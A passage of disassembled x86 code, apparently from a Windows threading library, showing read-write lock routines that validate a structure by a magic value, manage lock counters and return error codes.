		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E980
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
